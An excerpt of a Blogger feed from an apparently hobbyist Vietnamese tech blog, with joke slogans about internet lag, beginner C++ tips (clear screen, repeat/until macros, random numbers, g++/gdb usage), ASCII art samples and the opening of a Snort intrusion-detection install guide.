chúng tôi cực lực lên án và sẽ xem xét việc gửi quân đến VN để giải quyết tình trạng lag&lt;br /&gt;&lt;br /&gt;Thủ tướng Iran: chúng tôi đề nghị loại VDC ra khỏi bản đồ thế giới, í lộn, các nhà cung cấp dịch vụ internet&lt;br /&gt;&lt;br /&gt;Zidane: húc đầu vào giám đốc VDC _Hãy cùng FPT xây dựng 1 thế giới mà sever toàn lag&lt;br /&gt;&lt;br /&gt;Viettel : Hãy lag theo cách của bạn&lt;br /&gt;&lt;br /&gt;W.S: Lag hay ko Lag (Lag là chắc rồi VN mà) -: Thà lag o nước Nam còn hơn lag o phương Bắc&lt;br /&gt;&lt;br /&gt;Heineken: cho dù lag ko cao nhưng mọi người vẫn phải hứng chịu - chỉ có thể là LAG&lt;br /&gt;&lt;br /&gt;Mobiphone : LAG mọi lúc - mọi nơi&lt;br /&gt;&lt;br /&gt;Viettel : Lag it your wave - hãy lag theo cách của bạn&lt;br /&gt;&lt;br /&gt;Diana: 1 phong cách thật xì-Lag&lt;br /&gt;&lt;br /&gt;sữa: ko dùng cho trẻ lag dưới 3 tuổi và phụ nữ lag có thai&lt;br /&gt;&lt;br /&gt;Bài hát : Oh sao bé không lag _10 năm vẫn ….lag tốt&lt;br /&gt;&lt;br /&gt;“Hãy cho tôi biết mạng anh đang dùng là mạng gì tôi sẽ cho anh biết khi nào anh bị lag ”&lt;br /&gt;&lt;br /&gt;Bitit nâng niu mạng …..lag việt Nam&lt;br /&gt;&lt;br /&gt;Ko có gì là ko thể lag&lt;br /&gt;&lt;br /&gt;Từ trái tim tôi xin 1 lời , tôi yêu mạng LAN !&lt;br /&gt;&lt;br /&gt;1 phong cách lag 1 phong cách xì-tin! Hãy đăng ký mega-lag ngay hôm nay để được miễn phí modem và hòa mạng &gt;_&lt;&lt;br /&gt;&lt;br /&gt;@ Dove : FPT Lag ??? K0 tin hả ? Dùng thử coi @ Olay ( Mỹ Linh ) : Từ khi dùng OLAG total effect mới mình chẳng cần trang bị gì nhiều … ngoài … 1 cái búa&lt;br /&gt;&lt;br /&gt;Tại sao mạng lại lag ? Aristote : vì bản chất của mạng Việt Nam là lag&lt;br /&gt;&lt;br /&gt;G.J.Caesar : ta đăng kí, ta chơi và ta bị lag.&lt;br /&gt;&lt;br /&gt;Yasser Arafat : mạng bị lag vì phía Israel không chịu thực hiện lệnh “chỉ chơi được game online 3 tiếng 1 ngày” của Liên Hiệp Game.&lt;br /&gt;&lt;br /&gt;Hugo : cẩn thận coi chừng bị lag đấy nhé !&lt;br /&gt;&lt;br /&gt;Hãy soạn tin nhắn : LAG (cách) X (cách) Y để có câu trả lời và đừng quên dự đoán số người cùng LAG như bạn&lt;br /&gt;&lt;br /&gt;Sfone: gói cước mới, lag 4ever&lt;br /&gt;&lt;br /&gt;Hacker : hãy cho tôi đường truyền của FPT tôi sẽ làm lag cả thế giới&lt;br /&gt;&lt;br /&gt;Lag ko tự nhiên sinh ra, ko tự nhiên mất đi mà chỉ chuyển từ máy này sang máy khác, từ dịch&lt;br /&gt;vụ này sang dịch vụ khác&lt;br /&gt;&lt;br /&gt;Harry Potter và hoàng tử lag .&lt;br /&gt;&lt;br /&gt;Lord of the lag&lt;br /&gt;&lt;br /&gt;Nếu một mai Lag thuộc về người khác&lt;br /&gt;Anh mỉm cười , tốt quá phải không em&lt;br /&gt;&lt;br /&gt;Audition - nhịp điệu cuộc sống : nơi bọn lag thăng hoa&lt;br /&gt;&lt;br /&gt;Space Cowboy : thiên hà cũng lag&lt;br /&gt;&lt;br /&gt;Mu: Lag Vn , xung’ danh anh hung`&lt;br /&gt;&lt;br /&gt;1 lag chẳng thể bị dis ,3 lag chụm lại dis toàn server. _”Ai mà chịu nổi cái lag này cơ chứ”&lt;br /&gt;&lt;br /&gt;SamSung : “thử tưởng tưởng , bạn nhận được một cái modem, bạn mang về kết nối, thấy lag…”&lt;br /&gt;&lt;br /&gt;bài hát WC 2006 : “to lag the game…&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3367950802459769192?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3367950802459769192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3367950802459769192' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3367950802459769192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3367950802459769192'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/lag.html' title='Lag !!!!!!!!!!!!'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3569864920897438814</id><published>2008-02-25T13:49:00.000-08:00</published><updated>2008-02-25T13:53:03.949-08:00</updated><title type='text'>How to clear screen in a C++ program ?</title><content type='html'>A clear screen command in a C++ program depend on the OS which you use.&lt;br /&gt;&lt;br /&gt;In Windows, it should be : system("cls");&lt;br /&gt;In Linux, it'll be : system("clear");&lt;br /&gt;&lt;br /&gt;By the way, it can be make by some other code... depend on yours needs ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3569864920897438814?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3569864920897438814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3569864920897438814' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3569864920897438814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3569864920897438814'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/how-to-clear-screen-in-c-program.html' title='How to clear screen in a C++ program ?'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-8656974185947095391</id><published>2008-02-24T09:06:00.000-08:00</published><updated>2008-02-24T09:11:37.230-08:00</updated><title type='text'>Tạo ảnh ASCII online</title><content type='html'>Lang thang trên google kiếm về mã ASCII thì vô tình phát hiện ra trang web này. Trang này cho phép chuyển đổi ảnh sang dạng ảnh được tạo ra bằng các kí tự ASCII.&lt;br /&gt;&lt;br /&gt;http://www.petalia.org/Funpage/ascii&lt;br /&gt;&lt;br /&gt;Một vài ví dụ về ảnh ASCII - một loại nghệ thuật - lấy từ chính trang web trên :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  o      o     o    o     o    &lt;o&gt;    o&gt;    o&lt;br /&gt;  .|.    \|.   \|/   //    X     \      |    &lt;|    &lt;|&gt;   &lt;span style="font-weight: bold;"&gt;ASCII Macarena&lt;/span&gt;&lt;br /&gt;   /\     &gt;\   /&lt;    &gt;\   /&lt;     &gt;\    /&lt;     &gt;\   /&lt;&lt;br /&gt;&lt;br /&gt;           (__)                     &lt;br /&gt;           (oo)                     &lt;br /&gt;    /-------\/      __        O          _            ,__o&lt;br /&gt;   / |     ||      /o)\      /|\       &gt;(o)__       _-\_&lt;,&lt;br /&gt;  *  ||----||      \(o/      / \        (_~_/      (*)/'(*)&lt;br /&gt;     ~~    ~~                          ~~~~~~~&lt;br /&gt;       &lt;span style="font-weight: bold;"&gt;Bull      Yin/Yang   Person   Rubber Duck    Cyclist&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Sau đây là một số hình thật sự phức tạp :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;               __..---..-''_.............,_..`&gt;&lt;br /&gt;          _..-'':::_:-'_..-'_.-':::::::::,''//||                      _./&lt;br /&gt;        ,':::::::,'_.-':','.-':.:.::::,','.//:||           _..---.._,','&lt;br /&gt;      ,':::::::,',':'',',:':'`:.:::,',':`:/'.:::         ,'  ,'    _`/&lt;br /&gt;     /::.::.::/,':'  ',':' . ' ::,',':'  '   `:\\       /     .,' _`:)&lt;br /&gt;    /:.::.::://'   .          ',','         .   \\    ,/    .:;  (::. \&lt;br /&gt;   :.::.::._//             .  /'   .     .       `:,./)    (:/ `. \`:)/&lt;br /&gt;   |.:._.-'::     _..--.._                  __    (:.)      )    `'  `&lt;br /&gt;   |.,'    ||  _.'     ,',`.  _.-''``.   ,''  )   /`'      :&lt;br /&gt;   |/      ||,'    _.-','  |,'        ),'   ,:   (         ; __&lt;br /&gt;           |/   _,':     / `         '      `:.            \',.\&lt;br /&gt;             _,':'    : :.                     '    ,'     /'`''&lt;br /&gt;           ,':'        \::  /:..        .        .:' (:   `.      _&lt;br /&gt;         ,':'            \:::::.    .`.  )   _..:.:,::`.._  ``--'',`&lt;br /&gt;        /:'      _..-''```::(:.      ::\/:::.::::.'_:::'  ``----''`'&lt;br /&gt;       /:     ,-'          `\:.       `::_::-''&lt;br /&gt;      ::'    ,               \:.        |::|&lt;br /&gt;      |:    :          ,.     `:.       |::|&lt;br /&gt;      ::.   :        ,'/        `.      ;::;&lt;br /&gt;       \:.   `..__.-','           )  .:/:,'&lt;br /&gt;        `.:.       ,'         _..' _.-::/&lt;br /&gt;          ``-----''          `:. .'&lt;:::&lt;&lt;br /&gt;                               `. `._&gt;::`-..__&lt;br /&gt;                               ,',`-._)_).---'`-._&lt;br /&gt;                              ,`-`:::`'`\::'      \&lt;br /&gt;                          ___/::::::::,' `:\      (_&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                       __,'::::`--.._:/     \`._   (:::._&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                     ,:`._`----..._:::`-._   \:::.  `-.SSt:.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;                                          ,   ,&lt;br /&gt;                                       $,  $,     ,&lt;br /&gt;                                       "ss.$ss. .s'&lt;br /&gt;                               ,     .ss$$$$$$$$$$s,&lt;br /&gt;                               $. s$$$$$$$$$$$$$$`$$Ss&lt;br /&gt;                               "$$$$$$$$$$$$$$$$$$o$$$       ,&lt;br /&gt;                              s$$$$$$$$$$$$$$$$$$$$$$$$s,  ,s&lt;br /&gt;                             s$$$$$$$$$"$$$$$$""""$$$$$$"$$$$$,&lt;br /&gt;                             s$$$$$$$$$$s""$$$$ssssss"$$$$$$$$"&lt;br /&gt;                            s$$$$$$$$$$'         `"""ss"$"$s""&lt;br /&gt;                            s$$$$$$$$$$,              `"""""$  .s$$s&lt;br /&gt;                            s$$$$$$$$$$$$s,...               `s$$'  `&lt;br /&gt;                        `ssss$$$$$$$$$$$$$$$$$$$$####s.     .$$"$.   , s-&lt;br /&gt;                          `""""$$$$$$$$$$$$$$$$$$$$#####$$$$$$"     $.$'&lt;br /&gt;                                "$$$$$$$$$$$$$$$$$$$$$####s""     .$$$|&lt;br /&gt;                                 "$$$$$$$$$$$$$$$$$$$$$$$$##s    .$$" $&lt;br /&gt;                                  $$""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"   `&lt;br /&gt;                                 $$"  "$"$$$$$$$$$$$$$$$$$$$$S""""'&lt;br /&gt;                            ,   ,"     '  $$$$$$$$$$$$$$$$####s&lt;br /&gt;                            $.          .s$$$$$$$$$$$$$$$$$####"&lt;br /&gt;                ,           "$s.   ..ssS$$$$$$$$$$$$$$$$$$$####"&lt;br /&gt;                $           .$$$S$$$$$$$$$$$$$$$$$$$$$$$$#####"&lt;br /&gt;                Ss     ..sS$$$$$$$$$$$$$$$$$$$$$$$$$$$######""&lt;br /&gt;                 "$$sS$$$$$$$$$$$$$$$$$$$$$$$$$$$########"&lt;br /&gt;          ,      s$$$$$$$$$$$$$$$$$$$$$$$$#########""'&lt;br /&gt;          $    s$$$$$$$$$$$$$$$$$$$$$#######""'      s'         ,&lt;br /&gt;          $$..$$$$$$$$$$$$$$$$$$######"'       ....,$$....    ,$&lt;br /&gt;           "$$$$$$$$$$$$$$$######"' ,     .sS$$$$$$$$$$$$$$$$s$$&lt;br /&gt;             $$$$$$$$$$$$#####"     $, .s$$$$$$$$$$$$$$$$$$$$$$$$s.&lt;br /&gt;  )          $$$$$$$$$$$#####'      `$$$$$$$$$###########$$$$$$$$$$$.&lt;br /&gt; ((          $$$$$$$$$$$#####       $$$$$$$$###"       "####$$$$$$$$$$&lt;br /&gt; ) \         $$$$$$$$$$$$####.     $$$$$$###"             "###$$$$$$$$$   s'&lt;br /&gt;(   )        $$$$$$$$$$$$$####.   $$$$$###"                ####$$$$$$$$s$$'&lt;br /&gt;)  ( (       $$"$$$$$$$$$$$#####.$$$$$###' -Tua Xiong     .###$$$$$$$$$$"&lt;br /&gt;(  )  )   _,$"   $$$$$$$$$$$$######.$$##'                .###$$$$$$$$$$&lt;br /&gt;) (  ( \.         "$$$$$$$$$$$$$#######,,,.          ..####$$$$$$$$$$$"&lt;br /&gt;(   )$ )  )        ,$$$$$$$$$$$$$$$$$$####################$$$$$$$$$$$"&lt;br /&gt;(   ($$  ( \     _sS"  `"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$S$$,&lt;br /&gt;)  )$$$s ) )  .      .   `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"'  `$$&lt;br /&gt; (   $$$Ss/  .$,    .$,,s$$$$$$##S$$$$$$$$$$$$$$$$$$$$$$$$S""        '&lt;br /&gt;   \)_$$$$$$$$$$$$$$$$$$$$$$$##"  $$        `$$.        `$$.&lt;br /&gt;       `"S$$$$$$$$$$$$$$$$$#"      $          `$          `$&lt;br /&gt;           `"""""""""""""'         '           '           '&lt;/pre&gt;      &lt;blockquote&gt;       &lt;p style="color: rgb(0, 0, 0);"&gt; &lt;/p&gt;       &lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);" &gt;&lt;b&gt; ________________________________________________________________________&lt;br /&gt;|                                                                        |&lt;br /&gt;| .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-. |&lt;br /&gt;|(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )|&lt;br /&gt;| `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .' |&lt;br /&gt;|   `.'      `.'      `.'      `.'      `.'      `.'      `.'      `.'   |&lt;br /&gt;| .-. .-.                   .-.         .-                       .-. .-. |&lt;br /&gt;|(   `   )                 / &lt; &gt;-`'`'`-&lt; &gt; \                    (   `   )|&lt;br /&gt;| `.   .'                  `-.'         `.-'     .-.             `.   .' |&lt;br /&gt;|   `.'                     /    6   6    \      \ /               `.'   |&lt;br /&gt;| .-. .-.                  |     .-o-.     |    (|||)&lt;           .-. .-. |&lt;br /&gt;|(   `   )   .-.           |     ._|_.     |     / \            (   `   )|&lt;br /&gt;| `.   .'    \ /            `.     _      .'     `-'             `.   .' |&lt;br /&gt;|   `.'    &gt;(|||}          .'`-.______.-'` `.                      `.'   |&lt;br /&gt;| .-. .-.    / \         .'                  `.                  .-. .-. |&lt;br /&gt;|(   `   )   `-'        /                      \                (   `   )|&lt;br /&gt;| `.   .'              /      |          |      \                `.   .' |&lt;br /&gt;|   `.'               |     _/  __    __  \_     |                 `.'   |&lt;br /&gt;| .-. .-.             |   _/(_.'  `..'  `._)\_   |               .-. .-. |&lt;br /&gt;|(   `   )            \       \  bE My   /       /              (   `   )|&lt;br /&gt;| `.   .'              `.     /vAleNtiNe \     .'                `.   .' |&lt;br /&gt;|   `.'         ,oOo.  / `---'`.  (\/)  .'`---' \        .oOo      `.'   |&lt;br /&gt;| .-. .-.   ,-. oOOOo  |        `. \/ .'        |        oOOOo   .-. .-. |&lt;br /&gt;|(   `   )  \ / `OoO'  \        (:`..':)        /        `OoO'  (   `   )|&lt;br /&gt;| `.   .' &gt;(|||)  |    /\        \::::/        /:.         |     `.   .' |&lt;br /&gt;|   `.'     / \   | _.'::`.       |::|       .'::'\_   v   | /\    `.'   |&lt;br /&gt;| .-. .-.   `-'  &lt;|/:`:::::`._    (::)    _.':::::':\(&gt;o&lt;) |/.') .-. .-. |&lt;br /&gt;|(   `   )    (X) |-.::::&lt;::/     /::\     \:::&lt;:::-'\ ^   |`-' (   `   )|&lt;br /&gt;| `.   .'   Vv_|':|::::::::(     /::::\     ):::::::::`|.  |     `.   .' |&lt;br /&gt;|   `.'    ,Vv\|//|vW,V!!/vVyVv,,vVVv,Ww,||,,vV&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="color: rgb(0, 0, 0);" &gt;hjw&lt;/span&gt;&lt;span style="color:#ffffff;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Vv!!V|vV\|/      `.'   |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-.  .-. .-. |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )(   `   )|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .'  `.   .' |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   `.'      `.'      `.'      `.'      `.'      `.'      `.'      `.'   |&lt;/span&gt;&lt;br /&gt;|________________________________________________________________________|&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;      &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-8656974185947095391?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/8656974185947095391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=8656974185947095391' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8656974185947095391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8656974185947095391'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/to-nh-ascii-online.html' title='Tạo ảnh ASCII online'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6740511818268686394</id><published>2008-02-23T17:18:00.000-08:00</published><updated>2008-02-23T17:22:21.600-08:00</updated><title type='text'>Adding repeat/until functionality in C++ !</title><content type='html'>This makes it easier for people familiar with Delphi and SCAR to use C++ by adding the familiar repeat/until loop. Only difference is that it must be capitalized to fit naming conventions.&lt;br /&gt;Add this to the beginning of your file(s) after the includes/other directives:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#define REPEAT do{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#define UNTIL( condition ) }while(!(condition));&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Example usage:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;#include (iostream)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;-- please use &lt;&gt; instead of () because this blog couldn't display &lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;#define REPEAT do{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;#define UNTIL( condition ) }while(!(condition));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;using namespace std;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;int main(int argc, char *argv[])&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;    int i = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;    REPEAT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;          cout &lt;&lt; "The value of i is: " &lt;&lt;&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;          i++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;    UNTIL(i==10)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;    system("PAUSE");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;    return EXIT_SUCCESS;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6740511818268686394?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6740511818268686394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6740511818268686394' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6740511818268686394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6740511818268686394'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/adding-repeatuntil-functionality-in-c.html' title='Adding repeat/until functionality in C++ !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-9208840217817004457</id><published>2008-02-22T05:39:00.000-08:00</published><updated>2008-02-22T05:43:18.197-08:00</updated><title type='text'>Cách compile source và debug trong C++</title><content type='html'>Tạo file thực thi:&lt;br /&gt;&lt;br /&gt;    $ g++ file_name.cpp -o file_name&lt;br /&gt;&lt;br /&gt;Chạy file:&lt;br /&gt;&lt;br /&gt;    $ ./file_name&lt;br /&gt;&lt;br /&gt;Debug trong terminal: sử dụng gdb. Khi biên dịch file file_name.cpp bạn phải dùng:&lt;br /&gt;&lt;br /&gt;    $ g++ -g file_name.cpp -o file_name&lt;br /&gt;&lt;br /&gt;Và debug:&lt;br /&gt;&lt;br /&gt;    $ gdb file_name&lt;br /&gt;&lt;br /&gt;- Để chạy chương trình gõ r&lt;br /&gt;- Đặt breakpoint tại dòng thứ i gõ b i&lt;br /&gt;- Đặt breakpoint tại hàm tên func gõ b func&lt;br /&gt;- Xem file n dòng đầu gõ l n&lt;br /&gt;- Compile dòng tiếp theo gõ n&lt;br /&gt;- Xem giá trị 1 biến x gõ p x&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-9208840217817004457?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/9208840217817004457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=9208840217817004457' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/9208840217817004457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/9208840217817004457'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/cch-compile-source-v-debug-trong-c.html' title='Cách compile source và debug trong C++'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6464521805586612704</id><published>2008-02-14T06:40:00.000-08:00</published><updated>2008-02-14T06:51:45.017-08:00</updated><title type='text'>How to get a random number in C++ ?</title><content type='html'>This topic is going to guide how to get a random number in a C++ program : &lt;span style="font-style: italic;"&gt;you need to include ctime and cstdlib.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This is an example :&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;#include (cstdlib) // Khong the su dung duoc &lt;&gt; nen danh dung ()&lt;br /&gt;#include (ctime)&lt;br /&gt;#include (iostream)&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   srand((unsigned)time(NULL)); //Chổ này để khai báo sử dụng hàm rand() ở dưới&lt;br /&gt;   int d=rand()%12;  //Chú ý con số 12 ha. Nghĩ xem nó là gì nha bạn :)&lt;br /&gt;   cout&lt;&lt; d;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6464521805586612704?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6464521805586612704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6464521805586612704' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6464521805586612704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6464521805586612704'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/how-to-get-random-number-in-c_14.html' title='How to get a random number in C++ ?'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-109287497624728059</id><published>2008-02-14T05:56:00.000-08:00</published><updated>2008-02-14T05:57:28.574-08:00</updated><title type='text'>Cài đặt nhanh hệ thống phát hiện xâm nhập dùng Snort+ACID !</title><content type='html'>Hướng dẫn cài đặt nhanh hệ thống phát hiện xâm nhập (IDS) trên Linux/Unix sử dụng Snort với cơ sở dữ liệu mysql để lưu log, alert và ACID làm giao diện theo dõi.&lt;br /&gt;&lt;br /&gt;* Yêu cầu hệ thống:&lt;br /&gt;- mysql-3.23+ http://www.mysql.org/&lt;br /&gt;- apache-1.3+ http://httpd.apache.org/&lt;br /&gt;- php-4.04+ http://www.php.net/&lt;br /&gt;- snort-1.8.3+ http://www.snort.org/&lt;br /&gt;- acid-0.9.6+ http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.html&lt;br /&gt;- adodb-1.2+ http://php.weblogs.com/adodb&lt;br /&gt;- phplot-4.4.6+ http://phplot.sourceforge.net/ (tuỳ chọn để xem các thống kê dạng biểu đồ đưọc vẽ bằng thư viện gd, yêu cầu php phải được biên dịch hỗ trợ gd)&lt;br /&gt;&lt;br /&gt;* Giả thiết:&lt;br /&gt;- Hệ thống đã được cài đặt mysql, apache, php và hoạt động tốt (ví dụ RH 7.2).&lt;br /&gt;- Địa chỉ mạng cục bộ cần theo dõi: 192.168.1.0/24&lt;br /&gt;&lt;br /&gt;* 